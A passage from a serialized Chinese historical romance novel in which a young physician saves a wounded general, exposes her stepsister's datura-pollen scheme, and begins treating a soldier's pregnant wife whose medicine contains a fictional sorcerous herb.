英国公夫人闻言轻笑,“公主所言极是,今日虽惊险,好在无人受伤。” 她意味深长地瞥了眼脸色青白的慕容笙,“若真细查起来,反倒扫了兴。” 长公主转眸扫过噤若寒蝉的人群,银铃发辫随着动作轻响:“既然夫人都开口了,这事便到此为止。” 她忽地抬手指向浑身湿透、还在湖里狼狈拧裙摆的慕容笙,笑意直达眼底,“不过某位妹妹这出‘碧波采莲’,倒比马球还精彩三分!” 绣楼瞬间爆发出哄笑,慕容笙僵在原地,手里滴着水的裙摆都忘了放下。 暮色渐浓,镇北军将领们抱拳向长公主告辞。马蹄声尚未远去,忽听得队伍中传来一声闷哼,老周突然从马背上栽下,脸色煞白如纸,双手死死捂住胸口,喉间发出痛苦的嗬嗬声。 周围将领顿时慌乱起来:“周将军!周将军这是怎么了!” 长公主脸色骤变,正要吩咐传太医,却见一道月白色身影闪过。 慕容浅已快步上前,跪在满是碎石的地上,顾不上弄脏裙摆。 她指尖搭在老周腕间:“将军可是旧疾发作?近日可曾过度劳累?” 镇北军副将忽然跨步上前,抱拳施礼:“不瞒诸位,周将军这伤是去年在漠北之战落下的。周将军为护粮草辎重,硬挨了三箭,其中一箭直透肩胛骨,至今还有半截箭头埋在肉里。” 他掀起老周衣襟,露出后心狰狞的伤疤,暗红色的旧伤周围泛着青黑,显然是箭毒未清。 慕容浅指尖刚触到老周后心的青黑伤处,绣楼便传来此起彼伏的抽气声。 窦娇娇斜倚栏杆冷笑:“这可是陌生男子的皮肉,慕容姑娘为了出风头,连闺誉都不要了?” “使不得!” 英国公夫人皱眉上前,“姑娘好心我们明白,可男女大防自古如此,若传出去……” 话音未落,镇北军副将扑通跪地,在青石板上震起尘土:“求各位贵人开恩!老哥哥若没了,我们这些兄弟……” 他喉头哽咽,虎目泛起泪光。 慕容玉也拉住慕容浅,犹豫道,“不如等太医赶来……” 空气凝滞间,轮椅齿轮的轻响打破僵局。 裴子慕苍白指尖将老周扶起:“心脉骤乱,三刻内若不施救便有性命之忧。” 他抬眸望向慕容浅,漆黑眼底翻涌着让人捉摸不透的光,“慕容姑娘既懂医理,不如口述穴位,本王代劳?” 绣楼上下顿时响起窃窃私语。 慕容浅与裴子慕对视的刹那,从对方眼中读到了难得的信任。 她深吸口气,指尖隔空点向老周周身:“人中穴、内关穴,重按三分!天突穴银针斜刺,捻转提插!” 裴子慕应声而动,银针在他指间翻飞如蝶,苍白的手虽微微发颤,却精准无误地刺入穴位。 镇北军将领们围作一圈,目不转睛地盯着两人配合。 慕容浅声音愈发急促:“璇玑穴温灸!谁有火折子?” 话音未落,长公主已抛来火折子,火焰照亮慕容浅紧绷的侧脸,也映得裴子慕额角沁出薄汗。 当最后一根银针扎入气海穴,老周突然剧烈咳嗽,吐出一口黑血后,终于缓缓睁开眼。 “活…… 活过来了!” 将领们喜极而泣。 裴子慕收回银针时,指尖擦过慕容浅冰凉的手背,两人皆是一怔。 长公主抚掌大笑,“好一对妙手仁心!” 镇北军将领们已齐刷刷抱拳,感激的目光在两人之间来回流转。 慕容浅望着裴子慕施针的手,刚才指尖起落间如行云流水,银针在月光下泛着冷冽的光,却稳得像扎根在磐石里。 她心底泛起赞叹,脱口而出:“王爷这手针法,当真是稳如泰山,旁人怕是练十年也难有这等火候。” 裴子慕抬眸看她,眼底掠过一丝微不可察的笑意,“慕容姑娘过誉了。若不是姑娘指点,只怕今天老周……” 他顿了顿,“姑娘不愧是济安堂的传人,医术高超。” 镇北军将领们闻言互相对视,目露惊讶,“济安堂?可是上京那间排不上号的医馆?” 当裴子慕道出 “济安堂传人” 四字,绣楼瞬间沸腾。 窦娇娇冷笑:“不过是靠着亡母留下的药铺子充门面,真以为自己能妙手回春?” 她身旁贵女们交头接耳,绣帕掩着的嘴角尽是嘲讽,“连个师父都没有,能有几分真本事?刚才施针恐怕是瞎猫遇到死耗子。” 老周扯着染血的衣襟挣扎着起身,镇北军副将忙要搀扶,却被他抬手挥开。 这位在漠北战场杀得敌人闻风丧胆的老将,此刻却红着眼睛,单膝重重跪在慕容浅与裴子慕面前,甲胄磕在青石板上发出闷响。 “方才那些碎嘴的婆娘懂个啥!” 他粗粝的手掌擦过眼角,胡茬间还沾着未干的冷汗,“咱这把老骨头啥德行,自己清楚得很!若不是慕容姑娘和王爷及时救治,老子这会儿早该去见阎王了!” 他转头望向绣楼,浑浊的眼睛里燃着粗气,“你们这些金枝玉叶的,只管在楼上嚼舌根!可老子这条命 ——” 他重重拍在胸口,“货真价实是这两位救的!” 慕容浅慌忙去扶,却被老周粗糙的手掌轻轻挡开。 他对着裴子慕拱了拱手,又转向慕容浅,额头几乎贴到地面:“日后若有需要咱的地方,只要您二位一句话,老子就算爬,也会爬到您跟前!” 其他镇北军将领也是对着慕容浅齐齐行礼。 慕容浅深吸一口气,抬头望向众人,声音清亮如泉:“诸位将军若还有旧伤病痛,明日可去济安堂寻我。我每日巳时初至申时末坐诊,掌柜的和伙计皆会医术,必当尽力诊治。” 长公主挑眉轻笑,“好个济安堂!本宫竟不知侯府还有这般济世救人的妙人 ——” “明日本宫便让人挂个金匾送去,就写‘悬壶济世’四个大字!” 第86章 发痒 马球宴落幕后,慕容浅姐妹几人向长公主告辞。 长公主拉着慕容浅的手,再三邀请她得空就来公主府做客。 “王管事,以后浅小姐上门不必通报,直接开正门迎接。” 王管事肥硕的脸上堆满笑意,对慕容浅微微鞠躬,“奴才谨记了,日后浅小姐若想来,直接派人跟我说一声,我亲自带人去接。” 慕容浅回礼,“不敢有劳王大管事。” “浅小姐客气了,您是长公主的贵客,自然是当得起的。” 慕容雪从慕容浅身后冒出头,“大管事,那我和玉姐姐也能跟来玩吗?” 大管事看了一眼长公主,笑意不变,“当然欢迎了,雪小姐和玉小姐也欢迎随时来做客。” 慕容笙看着她们寒暄的背影,知道这样的欢迎里自然是没有自己的份,若是硬凑上去,只怕当场就会难堪。 还有长公主那双眼睛,似笑非笑的看着她,总让她心里打鼓,不知道是不是自己偷藏曼陀花粉的事败露了。 她掀起车帘,“能不能快点走,回府还有好一段路呢。” 她烦躁的抓抓手臂,觉得莫名有些痒。 慕容浅回头看了她一眼,没有接话,转身又跟长公主说话去了。 其他几人自然更不会搭理她,气得慕容笙摔了帘子独自怄气。 她自然是气的发疯,慕容浅回来之前,她是侯府众星捧月的大小姐,慕容浅一回来,好像所有的光芒都被占去了。 就连二房的这两个女孩子,慕容玉、慕容雪,原本在她跟前畏畏缩缩根本说不上话的,现在态度也是大变。 尤其慕容玉,似乎还入了英国公夫人的眼,几次三番当着众人夸奖她。 那英国公世子萧承霁可是上京数一数二的贵公子,家世好,模样俊,还是金吾卫的首领,前途无量。 这慕容玉如果真能攀上英国公府,真是天大的造化,到时候二房水涨船高,更不会把秦氏和她放在眼里。 慕容笙暗自咬牙,发誓一定要嫁给最尊贵最有权有势的人,把所有人都踩在脚下。 这上京,最最尊贵最有权有势的莫过于…… 她正盘算着,车帘一动,慕容浅和慕容玉慕容雪上了车。 慕容笙撇撇嘴,往里靠了靠,头扭过去,不想和她们说话。 她又忍不住抓抓脖子,怎么感觉越来越痒了。 慕容浅上车后,就冷冷的看着慕容笙。 慕容笙因为落水,发髻和妆容都搞得一团糟,勉强整理过仍掩不住一身狼狈。 她气急败坏的低吼,“你看什么!还嫌我不够丢人吗?” 慕容浅淡淡开口,“原来你也知道丢人,方才你下手的时候,怎么没考虑过这么做会让整个侯府丢人?” “下……下什么手,我何时做过什么,你不要血口喷人!” 慕容笙心想,不会有人知道她做的事,何况她衣裳都已经被水打得湿透,什么证据都没有留下。 她甚至想好了,如果慕容浅硬要说是她做的,她回去就一哭二闹三上吊,说慕容浅容不下她,在外散播谣言毁她清誉。 见她一副打死不认账的模样,慕容浅摇摇头,真是天作孽尤可救,自作孽不可活。 “你可知长公主若不是看在我的面子上,不想伤了侯府的声誉,影响两位妹妹的前程,你以为会轻易放过你?” 慕容笙脸青一阵白一阵,讽刺道,“看你的面子?少往自己脸上贴金了,你们的前程关我什么事,再说了,我什么都没有做过,你不要以为长公主对你多说了两句话就可以肆意欺负我。” 慕容雪再也忍不住了,气冲冲的开口,“你还不承认?王管事刚才都把马厮的下人带到长公主面前了,他都承认是你收买了他,提前得知大姐会骑哪匹马,你好下手!” 慕容玉也接口,“长公主早就洞悉一切,只是她对王大管事说不要为了打老鼠而伤了玉瓶,这是我亲耳听见的。” 慕容笙脸色苍白,“好哇,你们合起伙来欺负我,我要回去告诉父亲,告诉祖母,你们吃里扒外,一起捏造串好口供陷害我!” 慕容浅拉住义愤填膺的两人,上下打量慕容笙,“你以为跳下湖把衣裳上沾染的曼陀罗花粉冲掉就天衣无缝了?恐怕你并不知道,这花粉一旦沾染到皮肤上,不出半个时辰就会起红疹,瘙痒无比。你现在觉得身上痒吗?” 慕容笙猛地心惊,她不说还好,一说她更觉得身上奇痒无比。 但是这个关头,她不会承认的。 “没有!我好得很!让你失望了!” 慕容浅摇摇头,示意慕容玉和慕容雪不要再说,“既然你死不承认,那我也不多说什么,只是最后提醒你,这痒无药可解,非得痒够三日才会停止,你好好尝尝这害人不成反害己的滋味吧。” 她们三人果然不再开口,而慕容笙却坐立难安。 马车颠簸着碾过青石板路,慕容笙死死抓着车帘的铜环,指节因用力而泛白。 湿透的衣裳紧贴在身上,每一次晃动都像砂纸摩擦着皮肤,曼陀罗花粉引发的瘙痒如蚁群般从脖颈处开始蔓延,逐渐爬满四肢。 她强撑着扬起下巴,余光却瞥见慕容浅正慢条斯理地整理着药箱,那双曾救老周性命的手,此刻仿佛化作审判的利刃,让她不寒而栗。 “笙姐姐不舒服吗?脸色这么差。” 慕容雪突然开口,却让慕容笙浑身一颤。 她咬住下唇,指甲深深掐进掌心,试图用疼痛压下那几乎要将她吞噬的痒意,心中疯狂咒骂着自己的愚蠢 —— 早知道就该多晾些时日再动手,如今不仅计划败露,还要在这三人面前出丑。 瘙痒越来越难以忍受,她的睫毛开始不受控制地颤动,额角渗出细密的汗珠。 慕容玉好心的递去一方丝帕,她却几乎是条件反射般地挥开,手一动一阵钻心的痒意瞬间袭来。 她猛地弓起身子,喉咙里溢出压抑的呜咽,再也顾不得形象,双手在身上胡乱抓挠起来。 第87章 药膏 “别抓!越抓越痒!” 慕容浅的声音突然响起,带着不容置疑的威严。 慕容笙浑身僵住,抬眼望去,却见对方并没有看自己。 她突然意识到,自己此刻的狼狈模样,正合了慕容浅的意。 那个她一直看不起的嫡女,如今正用这种方式,将她的尊严踩在脚下。 羞耻、愤怒与无法遏制的痒意交织在一起,慕容笙恨不得立刻从马车上跳下去。 她蜷缩在角落,听着慕容雪刻意压低的惊呼声,听着慕容玉轻轻的叹息,只觉得天旋地转。 她在心底疯狂呐喊,却发不出半点声音,只能任由这无尽的瘙痒与屈辱,将自己彻底淹没。 马车碾过石板路的颠簸震得铜铃轻晃,慕容笙死死咬住下唇,指甲深深掐进掌心,冷汗顺着脊梁滑进湿透的绸缎衣料。 原本只在四肢游走的痒意突然顺着脖颈窜上脸颊,像无数细小的钢针在皮肤下钻动。 她下意识抬手触碰发烫的脸颊,指尖传来细密的颗粒感 —— 不知何时,红疹已如蛛网般爬上脸,从耳垂下方蔓延至额头。 “笙姐姐你的脸。。。。。。” 慕容雪的惊呼刺得她太阳穴突突直跳。 慕容笙疯了般扑向车厢角落的铜镜,铜面映出的面容让她喉间发出破碎的呜咽。 妆容本来就已经晕花,此刻脸上的皮肤开始红肿,每一道抓痕都渗出细密血珠,宛如被利爪撕扯过。 她颤抖着摸向另一侧脸颊,指腹刚触到发烫的肌肤,瘙痒感便如潮水般汹涌袭来。 “不!不!” 她疯狂抓挠双颊,指甲划过之处立刻隆起鲜红的血痕,碎发粘在冷汗与泪水混杂的脸上。湿透的裙摆被她蹬得凌乱,露出小腿上同样密布的红疹,在烛光下泛着诡异的红。 慕容玉伸手想拦,却被她挥开的手肘撞得踉跄:“别碰我!别碰!” 尖叫声里带着哭腔。 慕容浅看着她将自己抓得满脸血污,终于开口:“再抓下去,这张脸就真的要烂了。” 话音未落,慕容笙突然僵住,指尖悬在肿胀的眼皮上方微微颤抖。 她盯着镜中逐渐变形的面容,待字闺中的千金们最看重的便是这张脸,若是毁了容别说嫁进权贵之家,就是普通人家谁会娶一个丑女。 恐惧如毒蛇般缠住心脏,慕容笙喉咙里发出压抑的呜咽。 她突然瘫倒在车厢角落,双手死死捂住脸,指缝间溢出断断续续的哭嚎:“是我!是我在银针上涂了曼陀罗花粉,想让你在宴会上出丑!” 她崩溃的大哭,“救我。。。。。。 我不想变丑。。。。。。” 慕容笙在车厢角落蜷缩成一团,剧烈的抽泣让身体不断颤抖,脸上的血痕与红疹交错,模样可怖又狼狈。 慕容浅望着她这副模样,沉默片刻后,伸手从药箱底层摸出一个古朴的青瓷小罐。 “这是‘冰玉膏’,虽解不了曼陀罗花粉,却能暂时缓解瘙痒。” 慕容浅旋开盖子,一股清凉的薄荷香混着药草气息顿时弥漫在车厢内。 药膏呈半透明的淡青色,在烛火映照下泛着微光,“不过,你要是想继续用那花粉,那就不必浪费药膏了。” 慕容笙猛地抬头,泪眼朦胧中,死死盯着那青瓷小罐,仿佛溺水之人看到救命浮木。 她连滚带爬地扑到慕容浅跟前,声音里满是乞求和恐惧:“我不用了!我一定不用了!姐姐,求你给我用,我真的受不了了。。。。。。 我不想毁容。。。。。。” 说着,她颤抖着伸出通红的双手,指甲缝里还带着抓挠出的血迹。 慕容浅将青瓷小罐推到慕容笙面前,罐口磕在木板上发出闷响。 “这是最后一次。” 她目光如星,“再敢动歪心思,我会让你明白,济安堂不只会救人。” 慕容笙抓着药膏的手剧烈颤抖,冰凉的触感暂时缓解了瘙痒,却抵不过对方话语里刺骨的寒意。 她蜷缩在角落,看着慕容浅慢条斯理地收起药箱,月光透过车帘缝隙,在那张平静的脸上投下森冷的阴影。 慕容笙颤抖着将药膏抹在发烫的皮肤上,清凉的触感暂时压下了钻心的痒意,却压不住心底翻涌的恨意。 她垂眸盯着掌心残留的青绿色药膏,指甲深深掐进肉里,在心里把慕容浅千刀万剐 。 若不是这个贱人当众戳穿,自己怎会如此狼狈? 这屈辱,这笔账,她一定要千百倍讨回来。 表面上,她却挤出哭腔:“多谢姐姐救命之恩。。。。。。” 抬起头时,眼眶泛红,满脸楚楚可怜,可眼底却淬着毒一般的阴狠。 马车颠簸中,她偷偷将药膏藏进袖中,盘算着下次该如何算计。 曼陀罗花粉不过是小试牛刀,下一次,她要让慕容浅彻底身败名裂,再无翻身之地。 马车突然在街角猛地刹住,车轮碾过碎石发出刺耳的声响。 慕容浅掀开帘子,只见摄政王的玄色马车横在巷口,镇北军副将王虎的身影在灯笼下显得格外局促。 他搓着粗糙的手掌,盔甲蹭得 “哗哗” 响:“慕容姑娘。。。。。。 实在对不住,贸然拦住您的去路。。。。。。” 慕容雪探出头,“王将军这是做什么?莫不是又有人中了箭?” 王虎的黑脸涨成通红,喉结滚动着看了眼马车里的慕容笙,突然抱拳行了个大礼:“实不相瞒,内子有五个月身孕,最近总说心口发闷,吃什么都吐。。。。。。 请了三个大夫都查不出病因,小人斗胆。。。。。。” 他声音越来越低,“求了王爷带路,想请姑娘去瞧瞧。” 慕容浅想了想:“可曾试过安神汤?或是用紫苏叶煎水也可止孕吐。” “都试过了!” 王虎猛地抬头,“她总说夜里能看见影子,抓着被子喊有人要害她和孩子。。。。。。” 马车里玄色帷幔轻扬,裴子慕倚在轮椅上,目光温柔地望向慕容浅:“慕容姑娘,实在抱歉。只是王将军妻子的病症蹊跷,唯有姑娘妙手,或许能解此困局。” 他唇角噙着浅笑,眼底流转着毫不掩饰的欣赏,“若姑娘愿意帮忙,本王定会亲自护送姑娘回府,保姑娘周全。” 王虎紧绷的神色稍缓,慕容雪好奇地探出头,偷偷打量着摄政王。 第88章 孕妇 裴子慕伸手从袖中取出一个精致的锦盒,递向慕容浅:“这是西域进贡的安神香,听闻对安神宁心颇有功效,还请姑娘收下。” 他的目光柔和,带着几分期许,“就当是本王求诊的薄礼。” 慕容浅微微一怔,指尖触到锦盒时,感受到裴子慕灼热的目光。 她抬眸对上那双深邃的眼眸,其中的真诚与倾慕让她心头微动:“王爷客气了,医者仁心,我自当尽力,只是家中姐妹还需安置。” "这有何难?" 裴子慕抬手示意,立刻有一队侍卫上前,"本王的亲卫会护送三位姑娘回府。" 慕容笙在车厢里咬着牙,死死盯着两人的互动。 她看着慕容浅登上裴子慕的马车,看着摄政王亲自为慕容浅整理被风吹乱的披风,眼底妒火翻涌。寒风呼啸,裴子慕的马车缓缓驶离,她攥紧帕子,指甲深深掐进掌心,心中的恨意如野草疯长。 而前方的马车上,裴子慕正低声与慕容浅交谈,目光始终落在她专注的侧脸上,温柔得犹如这傍晚的暖阳。 夕阳将两人的身影镀上金边,远远望去,倒像是一幅缱绻的画卷。 而她自己,只能在颠簸的马车上,听着慕容雪叽叽喳喳地赞叹:"大姐好厉害,连摄政王都如此看重!" 暮春的风卷着柳絮掠过城北,镇北军家属聚居的街巷里,青灰色的砖墙上爬满了不知名的藤蔓。 这里没有京城中心的朱门绣户,低矮的院落排列得紧凑而整齐,家家户户门前都挂着褪色的军旗,或是用麻绳晾晒着洗得发白的粗布衣裳。 慕容浅踩着平整的石板路,望着眼前略显简陋的房舍微微皱眉:"镇北军屡立战功,朝廷不是多次封赏吗?他们的家眷怎会居住在这种地方?" 话音未落,忽听得隔壁院中传来打铁声,透过半开的院门,能看见一位老兵正在修补生锈的马掌,身旁的小炭炉上还炖着粗瓷瓦罐。 裴子慕转动轮椅,目光扫过晾晒在绳上的补丁衣物:"这些将士大多出身寒门,在漠北戍边十余年。" 他伸手接住飘落的柳絮,声音带着几分感慨,"京城物价高昂,朝廷的封赏看似丰厚,实则仅够维持温饱。他们不愿动用军饷改善居所,只盼着能多攒些银钱,将来解甲归田时,能让妻儿过上安稳日子。" 正说着,一位抱着婴孩的妇人匆匆经过,瞧见裴子慕后慌忙行礼。 慕容浅注意到她怀中孩子裹着的襁褓,是用褪色的旧绑腿布改制而成,边缘还留着洗不净的血迹。细密的针脚将布料仔细缝合,原先绣着的 "镇北" 字样被翻到内侧,只露出洗得发白的粗麻质地。 那布料曾无数次缠绕在战士的腿上,抵挡过漠北的风沙,也浸透过战场的硝烟。 如今却化作柔软的襁褓,小心翼翼地裹着新生的婴孩。 妇人下意识将孩子往怀里紧了紧,鬓角的碎发被风吹起,眼底满是温柔与警惕交织的神色。 慕容浅踩着平整的石板路,刚拐过弯,就见邻家阿婆颤巍巍端着一碗热粥,正往独居老兵的院里送。 "老李头,趁热喝!" 沙哑的嗓音里带着不容拒绝的关切。 门内传来桌椅挪动声,紧接着是带着笑意的应答:"又劳烦您嘞!" 几个孩童追着木陀螺嬉笑跑过,惊起屋檐下筑巢的燕子。 其中一个扎羊角辫的小姑娘,见有人盯着自己,脆生生地喊了句 "姐姐好",便躲到大人身后,又探出脑袋好奇张望。 路过井台时,几位妇人正围坐在一起说笑。竹篮里装着刚采摘的野菜,其中一人手腕上戴着用戈壁彩石串成的简陋镯子 —— 那或许是她丈夫从千里之外带回的礼物。 见慕容浅驻足,一位大嫂热情地招手:"姑娘渴不渴?要不要尝尝这井水,甘甜着呢!" 夕阳西下,炊烟袅袅升起。 有老兵教孩童练箭,手把手纠正着姿势。 年轻媳妇们凑在院门口,互相帮着纳鞋底、补衣裳,不知谁家飘来炖肉的香气,引得隔壁的黄狗蹲在墙边直摇尾巴。 慕容浅望着这烟火人间,忽然觉得,这些简陋的院落里,藏着比侯府高墙内更珍贵的东西。 见她打量四周低矮却整齐的院落,王虎粗糙的手掌蹭了蹭腰间佩剑,声音里带着几分感慨:“姑娘别看这儿简陋,刚进京那会儿,我们连这样的地方都寻不到。” 他挠挠头,“京城里的贵人们嫌我们是粗人,处处排挤,连租房子都遭人白眼。” 他转头看向坐在轮椅上的裴子慕,“多亏摄政王殿下,亲自带人寻了这块地,又帮忙修缮房屋、打通水井。日子是清贫些,可大家伙儿都是从漠北生死线上爬过来的,谁家有难处,吆喝一声,立刻有人搭把手。” 他望向炊烟袅袅的院落,声音不自觉拔高,“比起在漠北风餐露宿,如今能守着妻儿,邻里和睦,已是天大的福气!” 说话间,几人转过布满青苔的巷口,王虎家的木门便映入眼帘。 还未等他伸手推门,一阵压抑的干呕声混着瓷器碰撞的脆响,猛地穿透门板传来。 王虎的脸色瞬间变得煞白,加紧脚步上前推开门,门刚推开,一股夹杂着药味与酸腐气息的浊气就扑面而来。 王虎的妻子刘氏半倚在床榻上,苍白的手指死死攥着锦帕,指节泛着病态的青灰,地上是碎裂的茶盏。 “娘子!” 王虎大步跨过门槛,三步并作两步冲上前,全然不顾妻子衣襟上的呕吐物,双臂稳稳托住刘氏瘫软的身子。 “小心些!” 他粗粝的手掌轻轻垫在妻子后颈,将人扶靠在软垫上,又扯下腰间汗巾细细擦拭她嘴角的秽物。 刘氏虚弱地推拒,苍白的脸上泛起羞愧的红晕:“别碰,脏……” 话音未落就被王虎打断。 这位在战场上杀人不眨眼的汉子,此刻眼底盛满疼惜,攥着汗巾的手微微发抖:“说什么胡话!你身子比什么都金贵!” 他梗住喉间的哽咽,将妻子颤抖的手贴在自己心口,“只要你好好的,让我天天擦, 我都乐意。” 第89章 胎儿 刘氏脸颊浮起一抹羞涩的红晕,唇角刚勾起浅笑,目光却瞥见堂屋门口的几人,眼中闪过慌乱:“这、这几位是……” 她下意识想要撑起身子,苍白的指尖却在锦被上打滑。 王虎赶忙按住妻子肩膀,转头朗声道:“这是摄政王殿下,还有医术高明的慕容姑娘!得知你身子不适,特意来瞧瞧!” 话音未落,刘氏挣扎着要行福礼,喉间却突然发出急促的干呕声。 “慕容姑娘!劳烦你快看看我娘子她……” 王虎喉结滚动着让开身,铁甲摩擦声在寂静中格外刺耳。 慕容浅的目光落在刘氏高高隆起的腹部 —— 明明才五个月身孕,却鼓胀得如同临盆,衣襟处还沾着暗褐色的呕吐物。 刘氏突然又剧烈颤抖,身子弓成虾米状干呕,这次吐出的不再是酸水,而是带着血丝的黑褐色黏液。 慕容浅快步上前扶住她的后背,指尖刚触到对方脉搏就骤然收紧 —— 脉象虚浮如游丝,却又在某一刻猛地急促,像是垂死之人的回光返照。 慕容浅略一沉思,从药箱中取出银针,手腕翻转间,数根银针已精准刺入刘氏百会、内关等穴位。 随着指尖轻捻,刘氏颤抖的身子渐渐舒缓,紧绷的面容也松弛下来,歪在枕头上沉沉睡去。 王虎盯着妻子沉睡的面容,粗糙的手掌悬在半空不敢落下,生怕惊醒了这来之不易的安稳。 她眼下青黑消退了些,唇角还沾着未擦净的汗渍,却比这半个月来任何时候都要安宁 。 自她开始呕吐不止,就没合过一个囫囵觉,半夜总要抱着马桶咳得撕心裂肺,如今却能这般静静躺着,睫毛在眼下投出细碎的影。 王虎蹲在床边,小心翼翼替妻子掖好被角。 “慕容姑娘大恩,王某没齿难忘!” 他抬头时眼眶泛红,“半月来她没睡过一个囫囵觉。” 慕容浅的脸色却很凝重,她收回银针,指尖搭上刘氏腕间寸关尺,眉头越皱越紧。 良久,慕容浅松开手,指尖无意识摩挲着银针,面色凝重如霜:“将军,夫人这脉象…… 胎儿生机渐弱,恐怕……保不住了。” 她抬眼望向王虎骤然煞白的脸,又补充道:“不仅如此,刘夫人自身气血亏损严重,若不及时诊治,恐有性命之忧。” 王虎僵立在床边,宽厚的肩膀微微发颤,喉结艰难地上下滚动。 他死死盯着妻子熟睡的面庞,目光扫过她眼下新褪的青黑,又落在她无意识蜷缩的小腹上,仿佛要将那处看穿。 八年来,他见过无数次妻子跪在祠堂里,晨光爬上她单薄的脊背,香灰簌簌落在褪色的裙裾上。 见过她摸着别家孩子的襁褓出神,眼底藏不住的羡慕与落寞。 而如今好不容易盼来的喜讯,竟要化作泡影。 他伸手想去触碰妻子的小腹,指尖却在半空凝滞。 记忆突然翻涌 —— 几个月前她红着眼眶扑进他怀里,笑得满脸是泪:“当家的,咱们有孩子了。” 那时她眼里盛着星光,连夜翻出压箱底的绸缎,说要给孩子绣虎头鞋。 此刻看着她苍白的面容,他的指甲深深掐进掌心,铁甲护手硌得生疼,却抵不过心口传来的钝痛。 “尊夫人脉象虚浮得蹊跷,瞧着身体是个康健的。” 她望着床上人的面容,话音里带着疑惑,“自受孕以来,可曾有过摔倒磕碰?或是误食了什么滑胎的东西?” 王虎他垂眸盯着妻子交叠的苍白手指,喉结艰难滚动:“她自小做农活,又跟着我在漠北十年,平时身子骨挺好的,很少得病。” 想起妻子每日小心的模样,声音不自觉放软,“得知有孕后更是小心,连走路都很慢,我跟她说不必吝啬银钱,多吃点东西补补,按理说不该有问题。” 王虎的指节深深陷入掌心,他望着慕容浅手中泛着冷光的银针,"慕容姑娘,可有法子?" 尾音发颤,像绷到极致的弓弦,"哪怕有一线生机!" 屋内寂静得能听见窗外柳絮扑簌簌落在窗棂上的声响。 他忽然别过脸去,盯着墙角那盆蔫头耷脑的绿萝 —— 那是妻子非要养在床头的,说能给孩子添点生气。 庭院外传来孩童的笑闹声,他下意识握紧了腰间的佩刀 。 这一次,他恨自己握刀的手,竟护不住自己最珍视的人。 慕容浅望着榻上沉睡的刘氏,见她即便陷入昏沉,仍下意识用手臂环住隆起的小腹,指节因用力而泛出青白,心底泛起一阵酸涩。 王虎蹲在床边,铁甲未卸却小心翼翼地将妻子滑落的碎发别到耳后,动作轻柔得仿佛触碰易碎的琉璃。 这对夫妻粗糙却炽热的情意,像根细针,轻轻戳中了她心中最柔软的角落。 “我每日寅时过来施针。” 她声音不自觉放软,指尖抚过药箱里排列整齐的银针。 “先护住夫人的根本,再想法子保胎儿。” 烛火摇曳,映得她眼底泛起微光,“将军务必仔细回想,哪怕再细微的异常 —— 接触过的人、饮过的茶水、路过的街巷任何线索都可能是生机。” 王虎猛地抬头,眼中燃起希望的火光,却又在转瞬黯淡:“姑娘,若是……” 良久,他哑着嗓子开口:"若是实在保不住。" 话未说完,声音已碎成砂砾,"求姑娘务必护住她性命。" 转身时,他的影子在青砖地上拉得老长,恍惚还是漠北战场上那个挥刀断箭的悍将。 可此刻,他垂眸凝视着妻子沉睡的面容,眼底翻涌的疼惜几乎要漫出来:"没了孩子,我们还能再盼。可若没了她……" 铁甲相撞的轻响里,藏着从未示人的脆弱,"这十年来刀山火海都闯过了,没她,我如何走得下去。" 他再次看向妻子,伸手轻轻理顺她凌乱的发丝,动作比擦拭最珍贵的兵刃还要小心。 一滴滚烫的泪砸在她手背上,他慌忙用袖口擦去,生怕惊醒了这片刻安宁。 慕容浅喉头一紧,医者见惯生死,此刻却被这直白的恳求灼痛了眼眶。 她重重颔首,“我既承了这份托付,便会竭尽所能。” 夜风穿堂而过,吹得窗纸沙沙作响,她望着这对相依的身影,暗自攥紧了手中的银针 。 哪怕只有一线生机,她也定要从阎王手里抢人。 第90章 安胎药 裴子慕转动轮椅靠近床边,玄色衣摆扫过青砖地面,在烛火下泛着沉暗的光。 他望着王虎紧绷如弦的脊背,又看向榻上沉睡的刘氏,眉头微蹙:“慕容姑娘,镇北军戍边十载,王虎夫妇更是劳苦功高。” 他抬手示意王虎起身,声音低沉却带着不容置疑的郑重,“请务必全力施救。所需药材、银钱,尽可开口,我自会设法筹措。” 见慕容浅欲言又止,他抬手止住她的话头:"我知你医术精湛,慈安堂药材齐全。" 唇角泛起一抹温和笑意,却难掩眼底郑重,"但此事非同小可,你只管专心诊治,其他事务,我自会为你兜底。" 王虎单膝跪地,铁甲撞地发出闷响:"谢王爷和姑娘大恩!" 话未说完已被裴子慕扶起。 月光透过窗棂洒在三人身上,裴子慕望着王虎通红的眼眶,缓声道:"莫要多礼。你只管守好夫人,其他事不必忧心。" 慕容浅与裴子慕转身欲行,木门槛外的月光已漫到脚边。 忽听得身后传来急促脚步声,王虎喘息着追了上来:“且慢!” 他额角青筋突突跳动,粗糙的手掌攥着一张纸,“我想起来了,半月前她总说心口发闷,去了城西回春堂抓了副安胎药。” 药方在夜风里簌簌作响,墨迹晕染处还沾着几点茶渍。 王虎喉结剧烈滚动,想起妻子强撑着将药汤一饮而尽的模样,“喝完非但没见好,反而吐得更凶。当时只当是孕期不适。” 他猛然抬头,眼底血丝密布,“会不会是这药有问题?” 慕容浅接过那张药方,目光如炬扫过上面的字迹。 紫苏、砂仁、桑寄生…… 每一味都是寻常的安胎药材,配伍也中规中矩,看不出丝毫破绽。 她下意识用指尖摩挲着纸面上晕开的墨迹,突然抬眼望向王虎:“药方没问题,不知道药渣有没有留下来?。” “在厨房!我这就去取!” 王虎转身时铁甲撞出清脆声响,未及盏茶功夫便端着沾满药汁的药罐疾步返回。 罐中药渣颜色暗沉,干枯的叶片与根茎纠缠在一起,已经分辨不出形状。 慕容浅蹲下身,从发髻上取下银簪轻轻拨弄药渣。 腐叶翻涌间,一丝若有若无的苦腥气混着药香漫出。 她瞳孔微缩,银簪尖挑起一截暗红根茎,断面处渗出的汁液竟在月光下泛着诡异的幽蓝。 "这不是紫苏,是 " 缚魂藤 ",生长在南疆瘴疠之地,需以活物精血浇灌三年方可成形。" 她从袖中取出一枚青铜铃铛,铃舌轻晃间,药渣里的根茎竟诡异地扭动起来。 "寻常大夫可不认识它,却不知此藤是南疆巫蛊术中 " 魂契术 " 的关键 —— 通过特殊阵法,能将中术者的魂魄与特定物件强行绑定,受施术者操控。" 慕容浅将染着幽蓝汁液的银簪在烛火上炙烤,转头看向王虎:“这缚魂藤绝非寻常药材,你确定药材皆是从回春堂所购?” 王虎双手紧紧攥成拳,“千真万确!当日我亲自守在药柜前,看着伙计从屉格里抓的药,每味药材都过了我的眼。” 他喉结滚动,声音带着几分压抑的怒意,“回来后也是我亲手洗净、小火慢熬,寸步未离灶台,绝不可能在我眼皮子底下被人动手脚!” 